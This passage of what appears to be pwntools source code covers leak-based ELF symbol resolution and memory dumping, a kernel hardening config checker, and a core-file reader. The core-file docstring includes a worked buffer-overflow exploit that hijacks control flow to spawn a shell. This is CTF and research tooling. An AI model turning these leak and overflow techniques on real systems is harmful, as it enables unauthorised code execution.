self._resolve_symbol_gnu}[hshtype]\n        resolved_addr = routine(self.libbase, symb, hshtab, strtab, symtab)\n\n        if resolved_addr:\n            # Restore the original leaker\n            self.leak = real_leak\n            return resolved_addr\n\n        # if symbol not found in GNU_Hash, try looking in JMPREL\n        resolved_addr = self._rel_lookup(symb, strtab, symtab)\n\n        # Restore the original leaker\n        self.leak = real_leak\n\n        return resolved_addr\n\n    def _resolve_symbol_sysv(self, libbase, symb, hshtab, strtab, symtab):\n        \"\"\"\n        Internal Documentation:\n            See the ELF manual for more information.  Search for the phrase\n            \"A hash table of Elf32_Word objects supports symbol table access\", or see:\n            https://docs.oracle.com/cd/E19504-01/802-6319/6ia12qkfo/index.html#chapter6-48031\n\n            .. code-block:: c\n\n                struct Elf_Hash {\n                    uint32_t nbucket;\n                    uint32_t nchain;\n                    uint32_t bucket[nbucket];\n                    uint32_t chain[nchain];\n                }\n\n            You can force an ELF to use this type of symbol table by compiling\n            with 'gcc -Wl,--hash-style=sysv'\n        \"\"\"\n        self.status('.hash parms')\n        leak       = self.leak\n        Sym        = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass]\n\n        nbucket   = leak.field(hshtab, elf.Elf_HashTable.nbucket)\n        bucketaddr = hshtab + sizeof(elf.Elf_HashTable)\n        chain      = bucketaddr + (nbucket * 4)\n\n        self.status('hashmap')\n        hsh = sysv_hash(symb) % nbucket\n\n        # Get the index out of the bucket for the hash we computed\n        idx = leak.d(bucketaddr, hsh)\n\n        while idx != constants.STN_UNDEF:\n            # Look up the symbol corresponding to the specified index\n            sym     = symtab + (idx * sizeof(Sym))\n            symtype = leak.field(sym, Sym.st_info) & 0xf\n\n            # We only care about functions\n            if symtype == constants.STT_FUNC:\n\n                # Leak the name of the function from the symbol table\n                name = leak.s(strtab + leak.field(sym, Sym.st_name))\n\n                # Make sure it matches the name of the symbol we were looking for.\n                if name == symb:\n                    #Bingo\n                    addr = libbase + leak.field(sym, Sym.st_value)\n                    return addr\n\n                self.status(\"%r (hash collision)\" % name)\n\n            # The name did not match what we were looking for, or we assume\n            # it did not since it was not a function.\n            # Follow the chain for this particular hash.\n            idx = leak.d(chain, idx)\n        else:\n            self.failure('Could not find a SYSV hash that matched %#x' % hsh)\n            return None\n\n    def _resolve_symbol_gnu(self, libbase, symb, hshtab, strtab, symtab):\n        \"\"\"\n        Internal Documentation:\n            The GNU hash structure is a bit more complex than the normal hash\n            structure.\n\n            Again, Oracle has good documentation.\n            https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections\n\n            You can force an ELF to use this type of symbol table by compiling\n            with 'gcc -Wl,--hash-style=gnu'\n        \"\"\"\n        self.status('.gnu.hash parms')\n        leak = self.leak\n        Sym  = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass]\n\n        # The number of hash buckets (hash % nbuckets)\n        nbuckets  = leak.field(hshtab, elf.GNU_HASH.nbuckets)\n\n        # Index of the first accessible symbol in the hash table\n        # Numbering doesn't start at zero, it starts at symndx\n        symndx    = leak.field(hshtab, elf.GNU_HASH.symndx)\n\n        # Number of things in the bloom filter.\n        # We don't care about the contents, but we have to skip over it.\n        maskwords = leak.field(hshtab, elf.GNU_HASH.maskwords)\n\n        # Skip over the bloom filter to get to the buckets\n        elfword = self.elfclass // 8\n        buckets = hshtab + sizeof(elf.GNU_HASH) + (elfword * maskwords)\n\n        # The chains come after the buckets\n        chains  = buckets + (4 * nbuckets)\n\n        self.status('hash chain index')\n\n        # Hash the symbol, find its bucket\n        hsh    = gnu_hash(symb)\n        bucket = hsh % nbuckets\n\n        # Get the first index in the chain for that bucket\n        ndx    = leak.d(buckets, bucket)\n        if ndx == 0:\n            self.failure('Empty chain')\n            return None\n\n        # Find the start of the chain, taking into account that numbering\n        # effectively starts at 'symndx' within the chains.\n        chain  = chains + 4 * (ndx - symndx)\n\n        self.status('hash chain')\n\n        # Iteratively get the I'th entry from the hash chain, until we find\n        # one that matches.\n        i    = 0\n        hsh &= ~1\n\n        # The least significant bit is used as a stopper bit.\n        # It is set to 1 when a symbol is the last symbol in a given hash chain.\n        hsh2 = 0\n        while not hsh2 & 1:\n            hsh2 = leak.d(chain, i)\n            if hsh == (hsh2 & ~1):\n                # Check for collision on hash values\n                sym  = symtab + sizeof(Sym) * (ndx + i)\n                name = leak.s(strtab + leak.field(sym, Sym.st_name))\n\n                if name == symb:\n                    # No collision, get offset and calculate address\n                    offset = leak.field(sym, Sym.st_value)\n                    addr   = offset + libbase\n                    return addr\n\n                self.status(\"%r (hash collision)\" % name)\n\n            # Collision or no match, continue to the next item\n            i += 1\n        else:\n            self.failure('Could not find a GNU hash that matched %#x' % hsh)\n            return None\n\n    def _lookup_build_id(self, lib = None):\n\n        libbase = self.libbase\n        if not self.link_map:\n            self.status(\"No linkmap found\")\n            return None\n\n        if lib is not None:\n            libbase = self.lookup(symb = None, lib = lib)\n\n        if not libbase:\n            self.status(\"Couldn't find libc base\")\n            return None\n\n        for offset in libcdb.get_build_id_offsets():\n            address = libbase + offset\n            if self.leak.compare(address + 0xC, b\"GNU\\x00\"):\n                return enhex(b''.join(self.leak.raw(address + 0x10, 20)))\n            else:\n                self.status(\"Build ID not found at offset %#x\" % offset)\n                pass\n\n    def _make_absolute_ptr(self, ptr_or_offset):\n        \"\"\"For shared libraries (or PIE executables), many ELF fields may\n        contain offsets rather than actual pointers. If the ELF type is 'DYN',\n        the argument may be an offset. It will not necessarily be an offset,\n        because the run-time linker may have fixed it up to be a real pointer\n        already. In this case an educated guess is made, and the ELF base\n        address is added to the value if it is determined to be an offset.\n        \"\"\"\n        if_ptr = ptr_or_offset\n        if_offset = ptr_or_offset + self.libbase\n\n        # if the ELF type is not DYN, the value is a pointer\n\n        if self.elftype != 'DYN':\n            return if_ptr\n\n        # if the ELF type may be DYN, guess\n\n        if 0 < ptr_or_offset < self.libbase:\n            return if_offset\n        else:\n            return if_ptr\n\n    def stack(self):\n        \"\"\"Finds a pointer to the stack via __environ, which is an exported\n        symbol in libc, which points to the environment block.\n        \"\"\"\n        symbols = ['environ', '_environ', '__environ']\n\n        for symbol in symbols:\n            environ = self.lookup(symbol, 'libc')\n\n            if environ:\n                break\n        else:\n            log.error(\"Could not find the stack\")\n\n        stack = self.leak.p(environ)\n\n        self.success('*environ: %#x' % stack)\n\n        return stack\n\n    def heap(self):\n        \"\"\"Finds the beginning of the heap via __curbrk, which is an exported\n        symbol in the linker, which points to the current brk.\n        \"\"\"\n        curbrk = self.lookup('__curbrk', 'libc')\n        brk    = self.leak.p(curbrk)\n\n        self.success('*curbrk: %#x' % brk)\n\n        return brk\n\n    def _find_mapped_pages(self, readonly = False, page_size = 0x1000):\n        \"\"\"\n        A generator of all mapped pages, as found using the Program Headers.\n\n        Yields tuples of the form: (virtual address, memory size)\n        \"\"\"\n        leak  = self.leak\n        base  = self.libbase\n\n        Ehdr  = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass]\n        Phdr  = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass]\n\n        phead = base + leak.field(base, Ehdr.e_phoff)\n        phnum = leak.field(base, Ehdr.e_phnum)\n\n        for i in range(phnum):\n            if leak.field_compare(phead, Phdr.p_type, constants.PT_LOAD) :\n                # the interesting pages are those that are aligned to PAGE_SIZE\n                if leak.field_compare(phead, Phdr.p_align, page_size) and \\\n                    (readonly or leak.field(phead, Phdr.p_flags) & 0x02 != 0):\n                    vaddr = leak.field(phead, Phdr.p_vaddr)\n                    memsz = leak.field(phead, Phdr.p_memsz)\n                    # fix relative offsets\n                    if vaddr < base :\n                        vaddr += base\n                    yield vaddr, memsz\n            phead += sizeof(Phdr)\n\n    def dump(self, libs = False, readonly = False):\n        \"\"\"dump(libs = False, readonly = False)\n\n        Dumps the ELF's memory pages to allow further analysis.\n\n        Arguments:\n            libs(bool, optional): True if should dump the libraries too (False by default)\n            readonly(bool, optional): True if should dump read-only pages (False by default)\n\n        Returns:\n            a dictionary of the form: { address : bytes }\n        \"\"\"\n        leak      = self.leak\n        page_size = 0x1000\n        pages     = {}\n\n        for vaddr, memsz in self._find_mapped_pages(readonly, page_size) :\n            offset    = vaddr % page_size\n            if offset != 0 :\n                memsz += offset\n                vaddr -= offset\n            memsz += (page_size - (memsz % page_size)) % page_size\n            pages[vaddr] = leak.n(vaddr, memsz)\n\n        if libs:\n            for lib_name in self.bases():\n                if len(lib_name) == 0:\n                    continue\n                dyn_lib = self._dynamic_load_dynelf(lib_name)\n                if dyn_lib is not None:\n                    pages.update(dyn_lib.dump(readonly = readonly))\n\n        return pages\n"
  },
  {
    "path": "pwnlib/elf/__init__.py",
    "content": "\"\"\"\nMost exploitable CTF challenges are provided in the Executable and Linkable\nFormat (``ELF``).  Generally, it is very useful to be able to interact with\nthese files to extract data such as function addresses, ROP gadgets, and\nwritable page addresses.\n\"\"\"\nfrom pwnlib.elf.corefile import Core\nfrom pwnlib.elf.datatypes import *\nfrom pwnlib.elf.elf import ELF\nfrom pwnlib.elf.elf import load\nfrom pwnlib.elf import maps\nfrom pwnlib.elf import plt\n\n__all__ = ['load', 'ELF', 'Core'] + sorted(filter(lambda x: not x.startswith('_'), datatypes.__dict__.keys()))\n"
  },
  {
    "path": "pwnlib/elf/config.py",
    "content": "\"\"\"\nKernel-specific ELF functionality\n\"\"\"\nclass KernelConfig(object):\n    def __init__(self, name, title, requires=[], excludes=[], minver=0, maxver=99):\n\n        #: Name of the configuration option\n        self.name = name\n\n        #: Section to which the configuration point belongs\n        self.title = title\n\n        #: List of configuration items, one of which must be present,\n        #: for this checker to be used.\n        self.requires = set(requires)\n\n        #: List of configuration items, NONE of which must be present,\n        #: for this checker to be used.\n        self.excludes = set(excludes)\n\n        #: Kernel version that this check should be enforced on\n        self.minver = tuple(map(int, str(minver).split('.')))\n        self.maxver = tuple(map(int, str(maxver).split('.')))\n\n    def relevant(self, config):\n\n        # If any of the excluded options are ENABLED,\n        # this config is not relevant.\n        if self.excludes:\n            for value in self.excludes & set(config):\n                if config.get(value, False):\n                    return False\n\n        # If any of the required options are PRESENT but DISABLED,\n        # this config is not relevant.\n        if self.requires:\n            for value in self.requires & set(config):\n                if config.get(value, False):\n                    return True\n\n            # We did not find a required value\n            return False\n\n        # If we are not in the correct version range, bail\n        if 'version' in config:\n            version = config['version']\n\n            if not (self.minver <= version < self.maxver):\n                return False\n\n        return True\n\n    def check(self, value):\n        raise NotImplementedError()\n\n    def __call__(self, config):\n        \"\"\"__call__(config) -> str\n\n        Check whether the configuration point is set correctly.\n\n        Arguments:\n            config(dict): Dictionary of all configuration points\n\n        Returns:\n            A tuple (result, message) where result is whether the\n            option is correctly configured, and message is an optional\n            message describing the error.\n        \"\"\"\n        if not self.relevant(config):\n            return (True, '')\n        return self.check(config.get(self.name, None))\n\nclass Enabled(KernelConfig):\n    def __init__(self, name, **kw):\n        super(Enabled, self).__init__(name, 'Not Enabled', **kw)\n    def check(self, config):\n        return (bool(config), '')\n\nclass EnabledIfPresent(Enabled):\n    def check(self, config):\n        if config is None:\n            return (True, '')\n        return super(EnabledIfPresent, self).check(config)\n\nclass Disabled(KernelConfig):\n    def __init__(self, name, **kw):\n        super(Disabled, self).__init__(name, 'Not Disabled', **kw)\n    def check(self, config):\n        return (not bool(config), '')\n\nclass Minimum(KernelConfig):\n    def __init__(self, name, minimum, **kw):\n        super(Minimum, self).__init__(name, 'Misconfigured', **kw)\n        self.minimum = minimum\n    def check(self, value):\n        if value is None or value < self.minimum:\n            return (False, \"Should be at least {}\".format(self.minimum))\n        return (True, '')\n\nkernel_configuration = [\n# Enabled\n    Enabled('STRICT_DEVMEM', requires=['DEVMEM']),\n    Enabled('IO_STRICT_DEVMEM', requires=['DEVMEM']),\n    Enabled('SYN_COOKIES'),\n    Enabled('DEBUG_CREDENTIALS'),\n    Enabled('DEBUG_NOTIFIERS'),\n    Enabled('DEBUG_LIST'),\n    Enabled('SECCOMP'),\n    Enabled('SECCOMP_FILTER', minver=3.5, requires=['HAVE_ARCH_SECCOMP_FILTER']),\n    Enabled('SECURITY'),\n    # Enabled('SECURITY_YAMA'),\n    Enabled('HARDENED_USERCOPY', minver=4.8),\n    Enabled('SLAB_FREELIST_RANDOM', minver=4.7),\n    # Enabled('SLUB_DEBUG'),\n    # Enabled('PAGE_POISONING'),\n    # Enabled('PAGE_POISONING_NO_SANITY'),\n    # Enabled('PAGE_POISONING_ZERO'),\n    Enabled('CC_STACKPROTECTOR', excludes=['CC_STACKPROTECTOR_STRONG']),\n    Enabled('CC_STACKPROTECTOR_STRONG', minver=3.14),\n    Enabled('PANIC_ON_OOPS', minver=3.5),\n    Enabled('DEBUG_SET_MODULE_RONX', requires=['MODULES']),\n    Enabled('DEBUG_RODATA'),\n    Enabled('SECURITY_KPTR_RESTRICT'),\n    Enabled('SECURITY_PERF_EVENTS_RESTRICT'),\n    Enabled('SECURITY_DMESG_RESTRICT'),\n    Enabled('SECURITY_NETWORK'),\n    Enabled('SECURITY_SELINUX'),\n    Enabled('ARCH_HAS_ELF_RANDOMIZE'),\n    EnabledIfPresent('MSM_KERNEL_PROTECT'),\n\n# Not really security relevant, but come on guys\n    Enabled('COREDUMP'),\n\n# Disabled\n    Disabled('ACPI_CUSTOM_METHOD'),\n    Disabled('COMPAT_BRK'),\n    Disabled('DEVKMEM'),\n    Disabled('DEVMEM'),\n    Disabled('COMPAT_VDSO'),\n    Disabled('KEXEC'),\n    Disabled('BINFMT_MISC'),\n    Disabled('LEGACY_PTYS'),\n    Disabled('MODULES'),\n    Disabled('KEXEC'),\n    Disabled('SECURITY_SELINUX_DISABLE'),\n    Disabled('MISC_FILESYSTEMS'),\n    Disabled('SCSI_TGT'),\n    Disabled('SCSI_CONSTANTS'),\n    Disabled('SCSI_LOGGING'),\n    Disabled('SCSI_SCAN_ASYNC'),\n    Disabled('MEDIA_RADIO_SUPPORT'),\n    Disabled('PFT'),\n    Disabled('SYSVIPC'),\n\n\n    # Permits reloading the kernel from disk\n    Disabled('HIBERNATION'),\n\n    # Prior to v4.1, assists heap memory attacks; best to keep interface disabled\n    Disabled('INET_DIAG', maxver=4.1),\n\n\n# x86-specific\n    Enabled('HIGHMEM64G', requires=['X86_32']),\n    Enabled('X86_PAE', requires=['X86_32']),\n    Disabled('LEGACY_VSYSCALL_NONE', requires=['X86_32', 'X86_64'], minver=4.4),\n    Disabled('IA32_EMULATION'),\n    Disabled('X86_X32'),\n    Disabled('MODIFY_LDT_SYSCALL'),\n    Minimum('DEFAULT_MMAP_MIN_ADDR', 65536, requires=['X86_32', 'X86_64']),\n    Enabled('RANDOMIZE_BASE', excludes=['ARM']),\n    Enabled('RANDOMIZE_MEMORY', requires=['X86_64']),\n\n# ARM specific\n    Enabled('VMSPLIT_3G', requires=['ARM']),\n    Disabled('STRICT_MEMORY_RWX', requires=['ARM', 'ARM64']),\n    Minimum('DEFAULT_MMAP_MIN_ADDR', 32768, requires=['ARM', 'ARM64']),\n    Minimum('ARCH_MMAP_RND_BITS', 16, requires=['ARM']),\n    Minimum('ARCH_MMAP_RND_BITS', 24, requires=['ARM64']),\n    Minimum('ARCH_MMAP_RND_COMPAT_BITS', 16, requires=['ARM64']),\n    Enabled('CPU_SW_DOMAIN_PAN', requires=['ARM'], minver=4.3),\n    Enabled('ARM64_PAN', requires=['ARM64'], minver=4.3),\n    Disabled('OABI_COMPAT'),\n    Disabled('CP_ACCESS', requires=['ARM']),\n    Disabled('CP_ACCESS64', requires=['ARM64']),\n\n# Only relevant of MODULES are enabled\n    Enabled('MODULE_SIG', requires=['MODULES']),\n    Enabled('MODULE_SIG_FORCE', requires=['MODULES']),\n    Enabled('MODULE_SIG_ALL', requires=['MODULES']),\n    Enabled('MODULE_SIG_SHA512', requires=['MODULES']),\n    Enabled('MODULE_SIG_KEY', requires=['MODULES']),\n\n]\n\ndef parse_kconfig(data):\n    \"\"\"Parses configuration data from a kernel .config.\n\n    Arguments:\n        data(str): Configuration contents.\n\n    Returns:\n        A :class:`dict`  mapping configuration options.\n        \"Not set\" is converted into ``None``, ``y`` and ``n`` are converted\n        into :class:`bool`.  Numbers are converted into :class:`int`.\n        All other values are as-is.\n        Each key has ``CONFIG_`` stripped from the beginning.\n\n    Examples:\n\n        >>> parse_kconfig('FOO=3')\n        {'FOO': 3}\n        >>> parse_kconfig('FOO=y')\n        {'FOO': True}\n        >>> parse_kconfig('FOO=n')\n        {'FOO': False}\n        >>> parse_kconfig('FOO=bar')\n        {'FOO': 'bar'}\n        >>> parse_kconfig('# FOO is not set')\n        {'FOO': None}\n    \"\"\"\n    config = {}\n\n    NOT_SET=' is not set'\n\n    if not data:\n        return\n\n    for line in data.splitlines():\n\n        # Not set? Then set to None.\n        if NOT_SET in line:\n            line = line.split(NOT_SET, 1)[0]\n            name = line.strip('# ')\n            config[name] = None\n\n        # Set to a value? Extract it\n        if '=' in line:\n            k, v = line.split('=', 1)\n\n            # Boolean conversions\n            if v == 'y':\n                v = True\n            elif v == 'n':\n                v = False\n            else:\n\n                # Integer conversions\n                try:\n                    v = int(v, 0)\n                except ValueError:\n                    pass\n\n            config[k] = v\n\n\n    # Strip off all of the CONFIG_ prefixes\n    config = ({k.replace('CONFIG_', ''): v for k,v in config.items()})\n    return config\n"
  },
  {
    "path": "pwnlib/elf/corefile.py",
    "content": "\"\"\"Read information from Core Dumps.\n\nCore dumps are extremely useful when writing exploits, even outside of\nthe normal act of debugging things.\n\nUsing Corefiles to Automate Exploitation\n----------------------------------------\n\nFor example, if you have a trivial buffer overflow and don't want to\nopen up a debugger or calculate offsets, you can use a generated core\ndump to extract the relevant information.\n\n.. code-block:: c\n\n    #include <string.h>\n    #include <stdlib.h>\n    #include <unistd.h>\n    void win() {\n        system(\"sh\");\n    }\n    int main(int argc, char** argv) {\n        char buffer[64];\n        strcpy(buffer, argv[1]);\n    }\n\n.. code-block:: shell\n\n    $ gcc crash.c -m32 -o crash -fno-stack-protector\n\n.. code-block:: python\n\n    from pwn import *\n\n    # Generate a cyclic pattern so that we can auto-find the offset\n    payload = cyclic(128)\n\n    # Run the process once so that it crashes\n    process(['./crash', payload]).wait()\n\n    # Get the core dump\n    core = Coredump('./core')\n\n    # Our cyclic pattern should have been used as the crashing address\n    assert pack(core.eip) in payload\n\n    # Cool! Now let's just replace that value with the address of 'win'\n    crash = ELF('./crash')\n    payload = fit({\n        cyclic_find(core.eip): crash.symbols.win\n    })\n\n    # Get a shell!\n    io = process(['./crash', payload])\n    io.sendline(b'id')\n    print(io.recvline())\n    # uid=1000(user) gid=1000(user) groups=1000(user)\n\nModule Members\n----------------------------------------\n\n\"\"\"\nimport collections\nimport ctypes\nimport glob\nimport gzip\nimport re\nimport os\nimport socket\nimport subprocess\nimport tempfile\n\nfrom io import BytesIO, StringIO\n\nimport elftools\nfrom elftools.common.utils import roundup\nfrom elftools.common.utils import struct_parse\nfrom elftools.construct import CString\n\nfrom pwnlib import atexit\nfrom pwnlib.context import context\nfrom pwnlib.elf.datatypes import *\nfrom pwnlib.elf.elf import ELF\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.process import process\nfrom pwnlib.tubes.ssh import ssh_channel\nfrom pwnlib.tubes.tube import tube\nfrom pwnlib.util.fiddling import b64d\nfrom pwnlib.util.fiddling import enhex\nfrom pwnlib.util.fiddling import unhex\nfrom pwnlib.util.misc import read\nfrom pwnlib.util.misc import which\nfrom pwnlib.util.misc import write\nfrom pwnlib.util.packing import pack\nfrom pwnlib.util.packing import unpack_many\n\nlog = getLogger(__name__)\n\nprstatus_types = {\n    'i386': elf_prstatus_i386,\n    'amd64': elf_prstatus_amd64,\n    'arm': elf_prstatus_arm,\n    'aarch64': elf_prstatus_aarch64\n}\n\nsiginfo_types = {\n    32: elf_siginfo_32,\n    64: elf_siginfo_64\n}\n\n\nclass Mapping(object):\n    \"\"\"Encapsulates information about a memory mapping in a :class:`Corefile`.\n    \"\"\"\n    def __init__(self, core, name, start, stop, flags, page_offset):\n        self._core=core\n\n        #: :class:`str`: Name of the mapping, e.g. ``'/bin/bash'`` or ``'[vdso]'``.\n        self.name = name or ''\n\n        #: :class:`int`: First mapped byte in the mapping\n        self.start = start\n\n        #: :class:`int`: First byte after the end of the mapping\n        self.stop = stop\n\n        #: :class:`int`: Size of the mapping, in bytes\n        self.size = stop-start\n\n        #: :class:`int`: Offset in pages in the mapped file\n        self.page_offset = page_offset or 0\n\n        #: :class:`int`: Mapping flags, using e.g. ``PROT_READ`` and so on.\n        self.flags = flags\n\n    @property\n    def path(self):\n        \"\"\":class:`str`: Alias for :attr:`.Mapping.name`\"\"\"\n        return self.name\n\n    @property\n    def address(self):\n        \"\"\":class:`int`: Alias for :data:`Mapping.start`.\"\"\"\n        return self.start\n\n    @property\n    def permstr(self):\n        \"\"\":class:`str`: Human-readable memory permission string, e.g. ``r-xp``.\"\"\"\n        flags = self.flags\n        return ''.join(['r' if flags & 4 else '-',\n                        'w' if flags & 2 else '-',\n                        'x' if flags & 1 else '-',\n                        'p'])\n    def __str__(self):\n        return '%x-%x %s %x %s' % (self.start,self.stop,self.permstr,self.size,self.name)\n\n    def __repr__(self):\n        return '%s(%r, start=%#x, stop=%#x, size=%#x, flags=%#x, page_offset=%#x)' \\\n            % (self.__class__.__name__,\n               self.name,\n               self.start,\n               self.stop,\n               self.size,\n               self.flags,\n               self.page_offset)\n\n    def __int__(self):\n        return self.start\n\n    @property\n    def data(self):\n        \"\"\":class:`str`: Memory of the mapping.\"\"\"\n        return self._core.read(self.start, self.size)\n\n    def __getitem__(self, item):\n        if isinstance(item, slice):\n            start = int(item.start or self.start)\n            stop  = int(item.stop or self.stop)\n\n            # Negative slices...\n            if start < 0:\n                start += self.stop\n            if stop < 0:\n                stop += self.stop\n\n            if not (self.start <= start <= stop <= self.stop):\n                log.error(\"Byte range [%#x:%#x] not within range [%#x:%#x]\",\n                          start, stop, self.start, self.stop)\n\n            data = self._core.read(start, stop-start)\n\n            if item.step == 1:\n                return data\n            return data[::item.step]\n\n        return self._core.read(item, 1)\n\n    def __contains__(self, item):\n        if isinstance(item, Mapping):\n            return (self.start <= item.start) and (item.stop <= self.stop)\n        return self.start <= item < self.stop\n\n    def find(self, sub, start=None, end=None):\n        \"\"\"Similar to str.find() but works on our address space\"\"\"\n        if start is None:\n            start = self.start\n        if end is None:\n            end = self.stop\n\n        result = self.data.find(sub, start-self.address, end-self.address)\n\n        if result == -1:\n            return result\n\n        return result + self.address\n\n    def rfind(self, sub, start=None, end=None):\n        \"\"\"Similar to str.rfind() but works on our address space\"\"\"\n        if start is None:\n            start = self.start\n        if end is None:\n            end = self.stop\n\n        result = self.data.rfind(sub, start-self.address, end-self.address)\n\n        if result == -1:\n            return result\n\n        return result + self.address\n\nclass Corefile(ELF):\n    r\"\"\"Enhances the information available about a corefile (which is an extension\n    of the ELF format) by permitting extraction of information about the mapped\n    data segments, and register state.\n\n    Registers can be accessed directly, e.g. via ``core_obj.eax`` and enumerated\n    via :data:`Corefile.registers`.\n\n    Memory can be accessed directly via :meth:`pwnlib.elf.elf.ELF.read` or :meth:`pwnlib.elf.elf.ELF.write`, and also\n    via :meth:`pwnlib.elf.elf.ELF.pack` or :meth:`pwnlib.elf.elf.ELF.unpack` or even :meth:`.string`.\n\n    Arguments:\n        core: Path to the core file.  Alternately, may be a :class:`.process` instance,\n              and the core file will be located automatically.\n\n    ::\n\n        >>> c = Corefile('./core')\n        >>> hex(c.eax)\n        '0xfff5f2e0'\n        >>> c.registers\n        {'eax': 4294308576,\n         'ebp': 1633771891,\n         'ebx': 4151132160,\n         'ecx': 4294311760,\n         'edi': 0,\n         'edx': 4294308700,\n         'eflags': 66050,\n         'eip': 1633771892,\n         'esi': 0,\n         'esp': 4294308656,\n         'orig_eax': 4294967295,\n         'xcs': 35,\n         'xds': 43,\n         'xes': 43,\n         'xfs': 0,\n         'xgs': 99,\n         'xss': 43}\n\n    Mappings can be iterated in order via :attr:`Corefile.mappings`.\n\n    ::\n\n        >>> Corefile('./core').mappings\n        [Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0),\n         Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1),\n         Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2),\n         Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0),\n         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0),\n         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8),\n         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9),\n         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa),\n         Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0),\n         Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0),\n         Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0),\n         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0),\n         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4, page_offset=0x20),\n         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6, page_offset=0x21),\n         Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6, page_offset=0x0)]\n\n    Examples:\n\n        Let's build an example binary which should eat ``R0=0xdeadbeef``\n        and ``PC=0xcafebabe``.\n\n        If we run the binary and then wait for it to exit, we can get its\n        core file.\n\n        >>> context.clear(arch='arm')\n        >>> shellcode = shellcraft.mov('r0', 0xdeadbeef)\n        >>> shellcode += shellcraft.mov('r1', 0xcafebabe)\n        >>> shellcode += 'bx r1'\n        >>> address = 0x41410000\n        >>> elf = ELF.from_assembly(shellcode, vma=address)\n        >>> io = elf.process(env={'HELLO': 'WORLD'})\n        >>> io.poll(block=True)\n        -11\n\n        You can specify a full path a la ``Corefile('/path/to/core')``,\n        but you can also just access the :attr:`.process.corefile` attribute.\n\n        There's a lot of behind-the-scenes logic to locate the corefile for\n        a given process, but it's all handled transparently by Pwntools.\n\n        >>> core = io.corefile\n\n        The core file has a :attr:`exe` property, which is a :class:`.Mapping`\n        object.  Each mapping can be accessed with virtual addresses via subscript, or\n        contents can be examined via the :attr:`.Mapping.data` attribute.\n\n        >>> core.exe # doctest: +ELLIPSIS\n        Mapping('/.../step3', start=..., stop=..., size=0x1000, flags=0x..., page_offset=...)\n        >>> hex(core.exe.address)\n        '0x41410000'\n\n        The core file also has registers which can be accessed directly.\n        Pseudo-registers :attr:`pc` and :attr:`sp` are available on all architectures,\n        to make writing architecture-agnostic code more simple.\n        If this were an amd64 corefile, we could access e.g. ``core.rax``.\n\n        >>> core.pc == 0xcafebabe\n        True\n        >>> core.r0 == 0xdeadbeef\n        True\n        >>> core.sp == core.r13\n        True\n\n        We may not always know which signal caused the core dump, or what address\n        caused a segmentation fault.  Instead of accessing registers directly, we\n        can also extract this information from the core dump via :attr:`fault_addr`\n        and :attr:`signal`.\n\n        On QEMU-generated core dumps, this information is unavailable, so we\n        substitute the value of PC.  In our example, that's correct anyway.\n\n        >>> core.fault_addr == 0xcafebabe\n        True\n        >>> core.signal\n        11\n\n        Core files can also be generated from running processes.\n        This requires GDB to be installed, and can only be done with native processes.\n        Getting a \"complete\" corefile requires GDB 7.11 or better.\n\n        >>> elf = ELF(which('bash-static'))\n        >>> context.clear(binary=elf)\n        >>> env = dict(os.environ)\n        >>> env['HELLO'] = 'WORLD'\n        >>> io = process(elf.path, env=env)\n        >>> io.sendline(b'echo hello')\n        >>> io.recvline()\n        b'hello\\n'\n\n        The process is still running, but accessing its :attr:`.process.corefile` property\n        automatically invokes GDB to attach and dump a corefile.\n\n        >>> core = io.corefile\n        >>> io.close()\n\n        The corefile can be inspected and read from, and even exposes various mappings\n\n        >>> core.exe # doctest: +ELLIPSIS\n        Mapping('.../bin/bash-static', start=..., stop=..., size=..., flags=..., page_offset=...)\n        >>> core.exe.data[0:4]\n        b'\\x7fELF'\n\n        It also supports all of the features of :class:`ELF`, so you can :meth:`pwnlib.elf.elf.ELF.read`\n        or :meth:`pwnlib.elf.elf.ELF.write` or even the helpers like :meth:`pwnlib.elf.elf.ELF.pack` or :meth:`pwnlib.elf.elf.ELF.unpack`.\n\n        Don't forget to call :meth:`.ELF.save` to save the changes to disk.\n\n        >>> core.read(elf.address, 4)\n        b'\\x7fELF'\n        >>> core.pack(core.sp, 0xdeadbeef)\n        >>> core.save()\n\n        Let's re-load it as a new :attr:`Corefile` object and have a look!\n\n        >>> core2 = Corefile(core.path)\n        >>> hex(core2.unpack(core2.sp))\n        '0xdeadbeef'\n\n        Various other mappings are available by name, for the first segment of:\n\n        * :attr:`.exe` the executable\n        * :attr:`.libc` the loaded libc, if any\n        * :attr:`.stack` the stack mapping\n        * :attr:`.vvar`\n        * :attr:`.vdso`\n        * :attr:`.vsyscall`\n\n        On Linux, 32-bit Intel binaries should have a VDSO section via :attr:`vdso`.  \n        Since our ELF is statically linked, there is no 